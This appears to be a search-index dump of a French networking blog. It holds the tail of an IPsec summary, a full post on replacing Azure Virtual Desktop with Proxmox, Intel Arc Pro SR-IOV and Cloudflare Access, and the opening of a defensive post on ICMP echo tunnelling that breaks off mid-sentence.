n\u0026rsquo;a pas de ports, la MTU dont personne ne s\u0026rsquo;occupe, et L2TP et PPTP comme les deux protocoles qui n\u0026rsquo;avaient rien à faire ici. Il s\u0026rsquo;appuie sur la documentation Cisco, Juniper et Microsoft qui admet chacun de ces points, sur les dix-huit pièces qui se disent VPN IPsec dont deux n\u0026rsquo;ont jamais été des normes, sur les raisons pour lesquelles le Fisher-Price OS n\u0026rsquo;a jamais vraiment interopéré avec une pile ouverte, sur une méthode de diagnostic utilisable tant que vous l\u0026rsquo;exploitez encore, et sur les raisons de tout mettre à la retraite avec des dates.","title":"IPsec était une bonne idée. Il est temps de l'éteindre."},{"content":"Ce que coûte réellement Azure Virtual Desktop Azure Virtual Desktop livre un bureau Windows dans un navigateur. C\u0026rsquo;est vraiment ce qu\u0026rsquo;il fait, et ça marche. La question est ce qu\u0026rsquo;il en coûte de le maintenir en marche.\nLe prix affiché n\u0026rsquo;est pas le prix. La pile de licences de Microsoft pour AVD tourne à peu près ainsi1 :\nUne licence Microsoft 365 qui inclut le droit à Windows Enterprise — E3 ou E5, ou l\u0026rsquo;équivalent Business Premium Le calcul Azure sous le bureau — une VM facturée à l\u0026rsquo;heure, ou une instance réservée facturée au mois Le stockage Azure pour le disque système et le profil utilisateur Le réseau Azure pour le trafic entre le bureau et partout ailleurs Optionnellement, Microsoft Entra ID P1 ou P2 pour les politiques d\u0026rsquo;accès conditionnel Windows 365 Cloud PC simplifie la facturation en un nombre plat par utilisateur et par mois, mais le nombre n\u0026rsquo;est pas petit. Une configuration 2 vCPU / 8 Go / 128 Go — qui est un bureau bureautique modeste — est à 35,60 £ par utilisateur et par mois2. Ajoutez un GPU et cela bondit à 269,40 £ pour le palier GPU Standard. Multipliez par l\u0026rsquo;effectif et c\u0026rsquo;est un vrai poste de facture, chaque mois, pour toujours.\nC\u0026rsquo;est le produit que ce billet remplace.\nNavigateur tout appareil pas de client RDP pas de VPN HTTPS Cloudflare Access\u0026#160;+\u0026#160;IdP authentifie l'utilisateur rend le RDP au navigateur gratuit ≤\u0026#160;50 utilisateurs pas de ports exposés pas de VPN requis politique zero trust tunnel LXC cloudflared VLAN propre pare-feu vers cibles RDP seulement RDP VM\u0026#160;Windows GPU VF\u0026#160;0\u0026#160;·\u0026#160;RDP VM\u0026#160;Windows GPU VF\u0026#160;1\u0026#160;·\u0026#160;RDP VM\u0026#160;Windows GPU VF\u0026#160;2\u0026#160;·\u0026#160;RDP hôte Proxmox\u0026#160;·\u0026#160;Intel Arc Pro SR-IOV Arc Pro B-series PF → hôte VF 0 → VM VF 1 → VM VF 2 → VM Un navigateur, un fournisseur d'identité et un tunnel — pas de VPN, pas de ports exposés, pas de facture cloud par siège Tout le chemin : un navigateur, Cloudflare Access pour l\u0026rsquo;identité, un tunnel vers un LXC pare-feu, et du RDP vers des VM Windows avec des fonctions virtuelles Intel Arc Pro. Pas de VPN, pas de ports exposés, pas de facture cloud par siège. À quoi ressemble la pile de remplacement Trois couches, chacune indépendante, aucune facturée par siège :\nLa couche GPU est le montage SR-IOV Intel Arc Pro du billet précédent. Une seule carte Arc Pro se découpe en fonctions virtuelles matérielles par SR-IOV PCIe standard — pas de licence vGPU, pas d\u0026rsquo;abonnement NVIDIA. Chaque VM Windows obtient sa propre VF et son propre bureau accéléré par le GPU. C\u0026rsquo;est la carte qui fixe le nombre de sièges, pas un serveur de licences.\nLa couche d\u0026rsquo;accès est Cloudflare Access avec du RDP rendu dans le navigateur. L\u0026rsquo;utilisateur ouvre une URL dans n\u0026rsquo;importe quel navigateur, s\u0026rsquo;authentifie contre votre fournisseur d\u0026rsquo;identité, et Cloudflare rend la session RDP directement dans l\u0026rsquo;onglet du navigateur. Pas de client RDP installé. Pas de VPN. Pas de ports exposés à l\u0026rsquo;internet. Access se fédère à tout fournisseur OAuth ou OIDC — cela inclut les fournisseurs sur site comme Keycloak ou Authentik empilés sur votre Active Directory existant, que ce soit Samba 4 AD ou un contrôleur de domaine Windows. L\u0026rsquo;annuaire continue de faire ce qu\u0026rsquo;il fait déjà : comptes utilisateurs, stratégies de groupe, VM jointes au domaine. Keycloak ou Authentik se fédère contre lui et ajoute la couche OAuth/OIDC et MFA dont Cloudflare Access a besoin. Le plan d\u0026rsquo;identité reste sur votre propre matériel. Pas d\u0026rsquo;abonnement Entra ID requis. Cloudflare Access gère ce qui se passe ensuite : il contrôle ce que l\u0026rsquo;utilisateur authentifié peut atteindre sur votre réseau — quelles applications, quels protocoles, quels hôtes. Le bureau est derrière un tunnel Cloudflare et inatteignable de partout sauf par la politique Access, et la politique décide à la fois l\u0026rsquo;identité et la portée.\nLa couche tunnel est un processus cloudflared qui tourne dans un conteneur LXC sur Proxmox, sur son propre VLAN — un /30 pour IPv4 avec son propre préfixe IPv6 dédié, rien d\u0026rsquo;autre dans le domaine de diffusion. Le pare-feu Proxmox contrôle ce que le LXC peut atteindre, et la réponse est courte : TCP 3389 vers les VM de bureau et rien d\u0026rsquo;autre. Si le point de terminaison du tunnel est compromis, le rayon d\u0026rsquo;explosion est un conteneur sur un VLAN par ailleurs vide, et la seule chose à laquelle il peut parler est ce que le pare-feu permet déjà. C\u0026rsquo;est une surface bien plus petite qu\u0026rsquo;un concentrateur VPN qui distribue un sous-réseau routé.\nCloudflare Zero Trust est gratuit jusqu\u0026rsquo;à 50 utilisateurs3. Vous payez à partir de l\u0026rsquo;utilisateur 51. Azure Virtual Desktop facture dès le premier siège.\nL\u0026rsquo;architecture Utilisateur tout appareil tout navigateur HTTPS Cloudflare Access l'IdP OAuth fait identité\u0026#160;+\u0026#160;MFA Access contrôle portée\u0026#160;réseau rend le RDP tunnel Vos locaux LXC cloudflared VLAN\u0026#160;propre /30\u0026#160;IPv4 Pare-feu Proxmox TCP\u0026#160;3389\u0026#160;seul RDP Windows VM fonctions virtuelles GPU Arc\u0026#160;Pro\u0026#160;SR-IOV Le chemin de session : l\u0026rsquo;utilisateur s\u0026rsquo;authentifie à la bordure de Cloudflare, le tunnel atterrit dans un LXC pare-feu sur son propre VLAN, et le pare-feu ne permet que du RDP vers les VM de bureau. Le chemin que prend une session de bureau :\nL\u0026rsquo;utilisateur ouvre https://vdi.example.com dans n\u0026rsquo;importe quel navigateur, sur n\u0026rsquo;importe quel appareil Cloudflare Access intercepte la requête et redirige vers votre fournisseur d\u0026rsquo;identité — Keycloak ou Authentik fédéré contre votre Active Directory Le fournisseur OAuth valide l\u0026rsquo;identité de l\u0026rsquo;utilisateur contre l\u0026rsquo;AD et gère le MFA Access évalue la politique — le fournisseur a confirmé qui ils sont, Access décide ce qu\u0026rsquo;ils peuvent atteindre sur votre réseau Cloudflare établit une session RDP à travers le tunnel vers la VM cible La session RDP est rendue dans le navigateur — pas de client, pas de greffon, pas de téléchargement Le tunnel se termine dans un conteneur LXC sur l\u0026rsquo;hôte Proxmox, sur un VLAN verrouillé Le LXC transmet le RDP à la VM Windows, qui a une fonction virtuelle de GPU de la carte Arc Pro À aucun moment la VM Windows n\u0026rsquo;a d\u0026rsquo;IP publique. À aucun moment le port 3389 n\u0026rsquo;est ouvert à l\u0026rsquo;internet. La seule chose à l\u0026rsquo;écoute sur l\u0026rsquo;internet public est Cloudflare, et la seule chose qui passe Cloudflare est un utilisateur qui a passé la politique Access.\nLe point de terminaison du tunnel : un LXC sur son propre VLAN Le processus cloudflared doit tourner quelque part, et où vous le mettez est une décision de sécurité.\nLe faire tourner directement sur l\u0026rsquo;hôte Proxmox est l\u0026rsquo;option la plus simple et la pire. Un point de terminaison de tunnel qui partage l\u0026rsquo;espace de noms réseau de l\u0026rsquo;hôte peut atteindre tout ce que l\u0026rsquo;hôte peut atteindre, ce qui sur un hyperviseur est tout. Un tunnel compromis devient un pivot vers le plan de gestion.\nLe faire tourner dans une VM complète est propre mais lourd. Un relais de tunnel est un unique binaire Go qui n\u0026rsquo;utilise presque pas de CPU et quelques centaines de mégaoctets de RAM. Lui donner un noyau complet et un disque virtuel est excessif.\nUn conteneur LXC est la bonne forme. Il obtient son propre espace de noms réseau, son propre VLAN — un /30 IPv4 et un préfixe IPv6 dédié, rien d\u0026rsquo;autre partageant le domaine de diffusion — et ses propres règles de pare-feu dans le pare-feu Proxmox. Il partage le noyau de l\u0026rsquo;hôte mais pas sa pile réseau. Le pare-feu permet TCP 3389 vers les VM de bureau, le DNS pour les résoudre, et le HTTPS sortant vers la bordure de Cloudflare. À ce titre, même un point de terminaison de tunnel compromis ne peut parler qu\u0026rsquo;aux choses auxquelles il était déjà censé parler — et le VLAN sur lequel il siège n\u0026rsquo;a pas d\u0026rsquo;autres résidents à atteindre.\nLa configuration du LXC, les règles de pare-feu Proxmox pour le VLAN, et la mise en place du tunnel cloudflared sont toutes dans le prochain billet.\nComment Cloudflare Access s\u0026rsquo;emboîte Il y a deux moitiés à cela. Le fournisseur OAuth — Keycloak ou Authentik, fédéré contre votre Active Directory (Samba 4 ou Windows) — gère la validation de l\u0026rsquo;identité et le MFA. Il prouve que l\u0026rsquo;utilisateur est bien qui il prétend être, à partir du même annuaire auquel les VM sont jointes au domaine. Cloudflare Access gère tout ce qui suit : ce que l\u0026rsquo;utilisateur authentifié est autorisé à atteindre, par quel protocole, et comment la session est rendue.\nCloudflare Access rend la session RDP directement dans le navigateur. Ce n\u0026rsquo;est ni un téléchargement ni un greffon — la bordure de Cloudflare fait tourner un client RDP sans affichage et diffuse le résultat en tant que canvas dans l\u0026rsquo;onglet du navigateur. L\u0026rsquo;utilisateur voit un bureau Windows. Le navigateur voit du HTTPS vers Cloudflare. La VM Windows voit une connexion RDP depuis le tunnel cloudflared.\nL\u0026rsquo;application Access est une application auto-hébergée pointée sur l\u0026rsquo;entrée RDP du tunnel. La politique Access est là où les deux moitiés se rencontrent. Le fournisseur OAuth a déjà confirmé l\u0026rsquo;identité et passé le défi MFA. Access prend ce jeton et décide quoi en faire — quelle application l\u0026rsquo;utilisateur peut atteindre, si la posture de son appareil passe, si sa localisation est permise. Le fournisseur dit qui. Access dit quoi.\nLa création du tunnel, les règles d\u0026rsquo;entrée, la configuration du LXC, les règles de pare-feu Proxmox et la politique Access elle-même sont toutes dans le prochain billet — celui-ci expose ce qu\u0026rsquo;est la pile et pourquoi elle existe. Le prochain la construit.\nCe que voit l\u0026rsquo;utilisateur Cloudflare Access inclut un App Launcher — un portail de ressources qui liste chaque application que l\u0026rsquo;utilisateur authentifié est autorisé à atteindre. Après que l\u0026rsquo;utilisateur s\u0026rsquo;est connecté par le fournisseur OAuth, le portail lui montre ses bureaux disponibles, ses applications web internes, et toute autre ressource tunnelée, le tout en un seul endroit. Une URL, une connexion, et une tuile pour chaque chose à laquelle il a accès. C\u0026rsquo;est la page d\u0026rsquo;accueil de toute la pile, pas seulement du RDP.\nL\u0026rsquo;utilisateur clique sur une tuile de bureau, et obtient un bureau Windows dans un onglet de navigateur. Pas de client, pas de greffon, pas de téléchargement. Cela marche sur n\u0026rsquo;importe quel appareil qu\u0026rsquo;il possède déjà — un portable d\u0026rsquo;entreprise, une machine personnelle, un Chromebook, une tablette. C\u0026rsquo;est là le but. Le système est bâti pour les entreprises qui laissent les gens utiliser leur propre matériel.\nLe presse-papiers, l\u0026rsquo;audio et le multi-écran ne sont pas pris en charge à travers la session rendue dans le navigateur. C\u0026rsquo;est par conception, pas par accident. Chacun de ces canaux est une voie d\u0026rsquo;exfiltration de données. Un presse-papiers qui traverse la frontière fait sortir des fichiers. La capture audio fait sortir des conversations. Le multi-écran avec un bureau local à côté du distant rend le glisser-déposer trivial. Couper ces canaux veut dire qu\u0026rsquo;un utilisateur peut travailler dans le bureau mais ne peut pas en tirer du travail par un canal détourné. La politique Access contrôle qui entre. Le rendu par le navigateur contrôle ce qui sort.\nSi l\u0026rsquo;entreprise a besoin du presse-papiers ou de l\u0026rsquo;audio pour un flux de travail précis, Cloudflare Access prend aussi en charge un client RDP natif à travers le tunnel — le même tunnel, la même politique, la même vérification d\u0026rsquo;identité. Le chemin natif donne toutes les fonctions RDP aux utilisateurs qui en ont besoin et garde le chemin navigateur verrouillé pour tous les autres. Deux méthodes d\u0026rsquo;accès, un moteur de politique, un tunnel.\nLa comparaison de coût Un exemple concret. Un serveur, 42 bureaux accélérés par GPU :\nUn CPU 64 cœurs avec hyperthreading vous donne 128 threads. Chaque VM obtient 8 vCPU — une allocation de vrai bureau, pas un client léger. 42 × 8 = 336 vCPU, ce qui est bien au-delà de 128 threads sur le papier. Mais c\u0026rsquo;est du VDI. Les bureaux bureautiques sont inactifs la plupart du temps. Un utilisateur qui lit un document ou tape un courriel ne charge pas 8 cœurs. La sur-souscription n\u0026rsquo;est pas un risque ici, c\u0026rsquo;est la conception. Proxmox vous laisse allouer plus de vCPU que de threads physiques parce que l\u0026rsquo;ordonnanceur sait que la plupart d\u0026rsquo;entre eux dorment. Le CPU est dimensionné pour le pic, et le pic est une poignée d\u0026rsquo;utilisateurs qui compilent ou rendent en même temps, pas les 42. Ce n\u0026rsquo;est pas un raccourci — les hyperscalers du cloud sur-souscrivent de la même façon. Chaque VM Azure que vous louez partage des cœurs physiques avec d\u0026rsquo;autres locataires sur le même hôte. Le modèle de performance est identique. La différence est à qui appartient l\u0026rsquo;hôte. 12 Go de RAM par VM est un solide bureau bureautique. 42 × 12 Go = 504 Go, plus 4 Go pour Proxmox lui-même = 508 Go sur le papier. En pratique KSM effondre les pages identiques à travers ces 42 images Windows, donc la RAM physique nécessaire est nettement moindre — mais budgétez 512 Go de DIMM et laissez KSM vous rendre la marge. Trois cartes doubles Intel Arc Pro B60 dans une carte comme la Supermicro H13SSL-NT. Chaque carte physique présente deux GPU au système, donc trois cartes vous donnent 6 GPU. Chaque GPU prend en charge 7 fonctions virtuelles SR-IOV4. Cela fait 42 bureaux accélérés par GPU depuis trois emplacements PCIe. Le B60 est listé autour de 599 à 799 $ par carte. Le B70 est l\u0026rsquo;option plus grosse à 949 $ au lancement pour 32 Go et 4 fonctions virtuelles par GPU5 — moins de sièges mais plus de VRAM par siège. Windows 365 Cloud PC pour 42 utilisateurs2 :\nMême sans GPU, les nombres ne sont pas petits. Le palier Basic — 2 vCPU, 4 Go, 128 Go — est à 26,90 £/utilisateur/mois. Le palier Standard — 2 vCPU, 8 Go, 128 Go, qui est un bureau bureautique modeste — est à 35,60 £/utilisateur/mois. Pour 42 utilisateurs sur Standard, cela fait 1 495,20 £/mois, 17 942,40 £/an, avant aucun des extras ci-dessous.\nAvec un GPU cela empire. Le palier GPU Standard est à 269,40 £/utilisateur/mois. Pour 42 utilisateurs, cela fait 11 314,80 £/mois, 135 777,60 £/an.\nLes deux paliers ajoutent ensuite :\nLes licences Microsoft 365 si vous ne les avez pas déjà Le réseau Azure — l\u0026rsquo;entrée et la sortie sont facturées séparément, et un bureau qui diffuse vers un navigateur n\u0026rsquo;est pas léger en sortie Azure Backup ou une solution de sauvegarde tierce — les instantanés de VM et le stockage de profils ne sont pas sauvegardés gratuitement Les adresses IPv4 publiques — Azure facture chaque IP publique attachée à une ressource, et le prix n\u0026rsquo;a fait que monter La tarification sous-jacente d\u0026rsquo;Azure est en USD, donc les coûts en GBP bougent avec le taux de change — une livre faible rend chaque poste plus cher et vous n\u0026rsquo;avez de contrôle sur aucun des deux côtés de cela La facture ne s\u0026rsquo;arrête jamais. La cinquième année coûte autant que la première. Cette pile pour 42 utilisateurs — le coût de construction :\nCarte mère Supermicro H13SSL-NT : ~700 £ CPU AMD EPYC 64 cœurs : ~1 500 £ 512 Go DDR5 ECC RDIMM (8 × 64 Go) : ~5 200 £ Trois cartes doubles B60 : ~1 800 £ Châssis, alimentation, SSD de démarrage : ~800 £ Total matériel : environ 10 000 £ Amorti sur une vie de cinq ans, cela fait 2 000 £/an en coût de capital. Ajoutez :\nCloudflare Zero Trust : gratuit jusqu\u0026rsquo;à 50 utilisateurs Droits VDI Windows 11 Enterprise — le Software Assurance sur Pro passe à Enterprise, qui inclut l\u0026rsquo;accès VDI pour jusqu\u0026rsquo;à quatre VM par utilisateur, ou licence via Microsoft 365 E3/E56 L\u0026rsquo;électricité — et cela vaut d\u0026rsquo;y mettre un chiffre Le budget électrique en tirage de pointe : un EPYC 64 cœurs à 360 W de TDP, trois cartes doubles B60 à 400 W chacune (1 200 W), 512 Go de RAM à environ 80 W, plus le stockage, les ventilateurs et les pertes d\u0026rsquo;alimentation à environ 150 W. Cela fait approximativement 1 800 W à la prise sous pleine charge. Les bureaux VDI ne sont pas sous pleine charge — l\u0026rsquo;usage bureautique est surtout du CPU inactif et du GPU léger, donc une moyenne réaliste est plus proche de 1 000 à 1 200 W. Disons 1 100 W.\nÀ 0,35 £ le kWh, 1,1 kW tournant 24h/24 et 7j/7, c\u0026rsquo;est :\n1,1 × 24 × 365 = 9 636 kWh/an 9 636 × 0,35 £ = 3 373 £/an en électricité Le coût annuel total de cette pile est donc à peu près 5 400 £/an — 2 000 £ de matériel amorti et 3 400 £ d\u0026rsquo;électricité, avant les licences Windows et l\u0026rsquo;internet. Mettez cela à côté de la facture Azure : 5 400 £ contre 135 778 £ pour le palier GPU, ou 17 942 £ pour des bureaux simples sans GPU. Même sur le palier Azure le moins cher, cette pile coûte moins d\u0026rsquo;un tiers. Sur le palier GPU, c\u0026rsquo;est 4 % de la facture Azure.\nPourquoi le VDI convient à Proxmox Le VDI est l\u0026rsquo;une des charges pour lesquelles Proxmox est discrètement très bon, pour deux raisons qui n\u0026rsquo;ont rien à voir avec l\u0026rsquo;hyperviseur lui-même.\nKSM. Proxmox active KSMd — le démon de fusion de pages identiques du noyau — d\u0026rsquo;office. Vingt VM Windows bâties depuis la même image partagent d\u0026rsquo;énormes quantités de pages mémoire identiques : le système d\u0026rsquo;exploitation, les bibliothèques de base, les parties inchangées du profil utilisateur. KSMd trouve ces doublons et les effondre en une seule page physique, en copie sur écriture. Le résultat est que vingt bureaux tiennent dans la mémoire dont vous auriez sinon besoin pour huit ou dix. Sur un hôte VDI où chaque VM fait tourner la même image, KSM n\u0026rsquo;est pas une optimisation marginale. C\u0026rsquo;est ce qui rend la densité abordable.\nbcache. Si votre stockage est du Ceph sur HDD avec bcache Optane, le VDI en est la charge idéale. Les tempêtes de démarrage et les tempêtes de connexion sont lourdes en lecture et répétitives — exactement le schéma qu\u0026rsquo;un cache absorbe. Une fois l\u0026rsquo;ensemble de travail chaud, les bureaux lisent depuis l\u0026rsquo;Optane à la latence du NVMe et les plateaux bougent à peine. Les écritures sont des changements de profil utilisateur et des fichiers temporaires, assez petits et séquentiels pour que le writeback de bcache les gère sans jamais engorger le HDD.\nProfils — deux options, toutes deux sur Ceph. Les profils utilisateurs sont l\u0026rsquo;autre moitié du stockage VDI, et il y a deux façons propres de les gérer sans quitter le cluster.\nLes conteneurs de profil FSLogix sont la façon standard d\u0026rsquo;itinérer un profil de bureau Windows, et ils marchent sur un stockage objet compatible S3. Le Ceph de Proxmox expose une passerelle S3 par le RADOS Gateway, donc le magasin de profils vit sur le même cluster que les disques de VM. Pas de serveur de fichiers séparé, pas de facture Azure Files, pas de dépendance externe.\nL\u0026rsquo;autre option est de sauter FSLogix entièrement et d\u0026rsquo;utiliser la redirection de dossiers Windows vers des partages SMB servis par un Samba en cluster sur CephFS. Les bureaux redirigent Documents, Bureau, AppData et le reste vers un partage Samba adossé à CephFS, et le cluster Samba gère la bascule. Pas de conteneur de profil du tout — les fichiers vivent sur le système de fichiers comme fichiers ordinaires, et CephFS gère la réplication. C\u0026rsquo;est plus simple à gérer, plus simple à sauvegarder, et cela contourne entièrement les licences FSLogix — utile si le coût de licence pose problème ou si vous voulez simplement moins de pièces mobiles. Dans un cas comme dans l\u0026rsquo;autre, les profils siègent sur votre propre stockage, adossés au même pool Ceph, et le coût est le disque que vous avez déjà acheté.\nEntre KSM qui récupère de la mémoire, bcache qui récupère de la latence de stockage et les profils qui atterrissent sur Ceph — que ce soit par FSLogix sur S3 ou par redirection de dossiers sur CephFS — un seul hôte Proxmox avec des HDD et une quantité modeste de RAM sert plus de bureaux que la fiche technique ne le suggère. Azure facture chaque gigaoctet des trois. Ici, l\u0026rsquo;infrastructure fait le travail gratuitement.\nSauvegarde, résilience et conformité Tout garder à l\u0026rsquo;intérieur du VDI n\u0026rsquo;est pas qu\u0026rsquo;une décision de coût. C\u0026rsquo;est une décision de conformité et de résilience.\nQuand le bureau vit sur le serveur, les données vivent sur le serveur. Rien n\u0026rsquo;atterrit sur l\u0026rsquo;appareil de l\u0026rsquo;utilisateur. Un portable volé est un écran perdu, pas un jeu de données perdu. Il n\u0026rsquo;y a pas de disque local à chiffrer, pas de copie locale à exfiltrer, pas de point de terminaison à imager en criminalistique après une brèche. Les données n\u0026rsquo;ont jamais quitté l\u0026rsquo;infrastructure que vous contrôlez.\nCela rend la sauvegarde simple. Les disques de VM et les magasins de profils sont sur Ceph, et les instantanés Ceph sont atomiques et instantanés. Une seule politique d\u0026rsquo;instantané couvre chaque bureau et chaque profil. Restaurer un bureau à son état d\u0026rsquo;hier est un retour arrière d\u0026rsquo;instantané, pas une reconstruction. Restaurer un profil est la même opération sur un pool différent. La cible de sauvegarde est le cluster, pas vingt points de terminaison éparpillés.\nCela simplifie aussi la conformité. La résidence des données est facile à prouver quand les données sont sur du matériel qui vous appartient, dans un rack que vous pouvez montrer du doigt, dans une juridiction que vous avez choisie. Les pistes d\u0026rsquo;audit siègent sur vos propres journaux. L\u0026rsquo;accès est verrouillé par des politiques Cloudflare que vous avez écrites, authentifié par un IdP que vous exploitez, et enregistré par des systèmes que vous contrôlez. Il n\u0026rsquo;y a pas de fournisseur cloud tiers entre vous et la preuve qu\u0026rsquo;un auditeur demande.\nLa résilience suit la même ligne. Une VM de bureau morte est une nouvelle VM depuis l\u0026rsquo;image de référence avec le profil réattaché. L\u0026rsquo;utilisateur se reconnecte et le bureau est de retour. Il n\u0026rsquo;y a pas de point de terminaison à reconstruire, pas de système à réinstaller, pas de matériel à expédier. L\u0026rsquo;unité de récupération est la VM, et en lancer une prend des minutes.\nCe que vous abandonnez Ce n\u0026rsquo;est pas gratuit dans tous les sens. Les choses qu\u0026rsquo;Azure Virtual Desktop gère et que cette pile ne gère pas :\nMicrosoft gère les correctifs et les mises à jour. Ici, c\u0026rsquo;est vous. Intune et Endpoint Manager s\u0026rsquo;intègrent nativement avec AVD. Ici, vous gérez les VM Windows vous-même ou par l\u0026rsquo;outillage que vous choisissez. Le réseau d\u0026rsquo;Azure est le problème d\u0026rsquo;Azure. Ici, votre connexion internet est le chemin vers le bureau. Si elle tombe, les bureaux sont inatteignables jusqu\u0026rsquo;à ce qu\u0026rsquo;elle revienne. L\u0026rsquo;échelle est à une carte de crédit près sur Azure. Ici, l\u0026rsquo;échelle veut dire acheter une autre carte ou un autre hôte. AVD donne à l\u0026rsquo;utilisateur un jeu complet de fonctions RDP par défaut. Ici, le chemin rendu dans le navigateur retire le presse-papiers, l\u0026rsquo;audio et le multi-écran exprès. Les utilisateurs qui ont besoin de ces fonctions obtiennent un client RDP natif par le même tunnel et la même politique — mais le défaut est le navigateur verrouillé, et c\u0026rsquo;est le bon défaut pour un effectif BYOD. Rien de cela n\u0026rsquo;est trivial. Que cela compte ou non dépend de ce que vous avez : si vous faites déjà tourner Proxmox, gérez déjà Windows, et avez déjà quelqu\u0026rsquo;un qui sait s\u0026rsquo;occuper d\u0026rsquo;un hyperviseur, alors tout cela, vous le faites déjà. Sinon, Azure vous vend le personnel que vous n\u0026rsquo;avez pas, et cela vaut vraiment quelque chose.\nLa question est de savoir si cela vaut 18 000 £ par an pour 42 bureaux simples — ou 136 000 £ pour des bureaux GPU — chaque année, plus le réseau, la sauvegarde, l\u0026rsquo;IPv4 et les licences par-dessus, avec le prix fixé par quelqu\u0026rsquo;un d\u0026rsquo;autre, le matériel appartenant à quelqu\u0026rsquo;un d\u0026rsquo;autre, et la facture libellée dans une monnaie que vous ne contrôlez pas. Ou si vous dépensez 5 400 £ par an en matériel et électricité et gardez le reste.\nC\u0026rsquo;est ce que ce billet expose. Le prochain le construit — le tunnel cloudflared, le LXC, les règles de pare-feu Proxmox, la politique Cloudflare Access, et le bureau qui marche dans un onglet de navigateur.\nRéférences Tarification d\u0026rsquo;Azure Virtual Desktop — le calcul, le stockage et le réseau facturés séparément par-dessus le droit Microsoft 365.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPlans et tarification de Windows 365 — plat par utilisateur et par mois, configurations GPU dans le palier Enterprise.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTarification de Cloudflare Zero Trust — gratuit jusqu\u0026rsquo;à 50 utilisateurs, à l\u0026rsquo;usage à partir de l\u0026rsquo;utilisateur 51.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSpécifications de l\u0026rsquo;Intel Arc Pro B60 — 24 Go GDDR6, 20 cœurs Xe2, PCIe 5.0 x8, SR-IOV avec jusqu\u0026rsquo;à 7 fonctions virtuelles.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSpécifications de l\u0026rsquo;Intel Arc Pro B70 — 32 Go GDDR6, 32 cœurs Xe2, PCIe 5.0 x16, SR-IOV avec jusqu\u0026rsquo;à 4 fonctions virtuelles.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLicence de Windows 11 pour les bureaux virtuels — le Software Assurance sur un système d\u0026rsquo;exploitation éligible (par exemple Pro) passe à Enterprise, accordant des droits VDI pour jusqu\u0026rsquo;à quatre VM par utilisateur sur votre propre serveur sur site.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/fr/networking/zero-trust-vdi-cloudflare-access/","summary":"Première partie : l\u0026rsquo;architecture et l\u0026rsquo;argument de coût pour remplacer Azure Virtual Desktop par Proxmox, le SR-IOV d\u0026rsquo;Intel Arc Pro et Cloudflare Access. OAuth sur site pour l\u0026rsquo;identité, RDP rendu dans le navigateur, un tunnel LXC pare-feu sur son propre VLAN, KSM pour la densité mémoire, et les profils sur Ceph. Le prochain billet le construit.","title":"VDI Zero Trust sans la facture cloud — Proxmox, Intel Arc Pro et Cloudflare Access"},{"content":"Ping n\u0026rsquo;est pas un diagnostic. C\u0026rsquo;est un tunnel. L\u0026rsquo;écho ICMP (la requête qu\u0026rsquo;une machine envoie et la réponse qu\u0026rsquo;elle reçoit en retour) portera n\u0026rsquo;importe quels octets que vous y mettez, dans les deux sens, sur un protocole que la plupart des pare-feu laissent passer sans inspecter et que la plupart des systèmes de journalisation comptent plutôt qu\u0026rsquo;ils ne lisent. Un réseau qui « n\u0026rsquo;autorise que le ping » a déjà un VPN complet et chiffrable vers l\u0026rsquo;extérieur, et quiconque peut atteindre ce réseau peut en piloter un.\nC\u0026rsquo;est vieux, et c\u0026rsquo;est documenté. Loki1 a publié la technique dans Phrack 49 en 1996. Ptunnel2 transporte des sessions TCP entières dans du ping depuis vingt ans et est à un paquet de distance sur n\u0026rsquo;importe quelle machine Linux. Pas de faille du jour zéro. Le protocole qui se comporte exactement comme spécifié.\nVoilà la cause : la norme, pas un bug dans le produit de quiconque. Chaque hôte de la planète est tenu de prendre les données d\u0026rsquo;une requête d\u0026rsquo;écho et de les rendre telles quelles, inchangées. Des données arbitraires en entrée, les mêmes en sortie : c\u0026rsquo;est tout ce dont un tunnel a besoin, et c\u0026rsquo;est imposé depuis 1981.\nLe correctif est un seul changement étroit. Jetez l\u0026rsquo;écho ICMP, requête et réponse, en IPv4 et IPv6, à la frontière, et gardez chaque autre message ICMP. Les erreurs — Time Exceeded, Packet Too Big, Destination Unreachable — sont porteuses ; bloquez-les et vous cassez la découverte du MTU de chemin et traceroute pour rien. Donc ce n\u0026rsquo;est pas « bloquer l\u0026rsquo;ICMP ». C\u0026rsquo;est jeter le seul message qui est un risque, et garder ceux qui portent la vérité.\nCe que votre politique de sortie a réellement autorisé Si vous exploitez un réseau où le sortant est filtré (et si ce n\u0026rsquo;est pas le cas, c\u0026rsquo;est une autre conversation), alors ceci est la facture d\u0026rsquo;une ligne dedans. La politique qui dit « bloquer tout le sortant, autoriser l\u0026rsquo;ICMP parce qu\u0026rsquo;on a besoin de pinguer des choses » n\u0026rsquo;est pas une politique de sortie. C\u0026rsquo;est un tunnel complet dont la paperasse est classée sous « diagnostic ». Tout ce qui est à l\u0026rsquo;intérieur et sait envoyer une requête d\u0026rsquo;écho et lire la réponse peut déplacer des données vers n\u0026rsquo;importe quoi à l\u0026rsquo;extérieur qui y répond, au débit que la liaison supportera, et au-delà de chaque contrôle de contenu que vous avez acheté. Dans les journaux, c\u0026rsquo;est quelqu\u0026rsquo;un qui vérifie si l\u0026rsquo;internet marche, et rien d\u0026rsquo;autre. Les logiciels malveillants livrent ça depuis des années pour cette raison exacte. Discret, standard, et d\u0026rsquo;habitude déjà autorisé.\nC\u0026rsquo;est pourquoi c\u0026rsquo;est un canal de premier choix pour quiconque est déjà à l\u0026rsquo;intérieur et ne devrait pas y être. C\u0026rsquo;est l\u0026rsquo;installation dans la durée, pas le casse rapide. Quelqu\u0026rsquo;un qui cherche une voie d\u0026rsquo;entrée et de sortie qui dure évite le port qui déclenche une alerte. Il monte un tunnel sur l\u0026rsquo;écho et le laisse tourner des mois. Un hôte qui pingue beaucoup est un hôte que personne ne surveille. Un réseau bidirectionnel jusque dans le parc : commande à l\u0026rsquo;entrée, données à la sortie, sur le seul protocole que personne ne limite en débit, ne surveille par alerte, ni ne lit. Et c\u0026rsquo;est chiffré, comme n\u0026rsquo;importe quel vrai outil le chiffre, si bien que sur le fil la charge utile n\u0026rsquo;est que les octets d\u0026rsquo;apparence aléatoire qu\u0026rsquo;un ping porte de toute façon, et l\u0026rsquo;inspection de contenu n\u0026rsquo;a rien à lire. La taille et le rythme peuvent encore le trahir auprès de 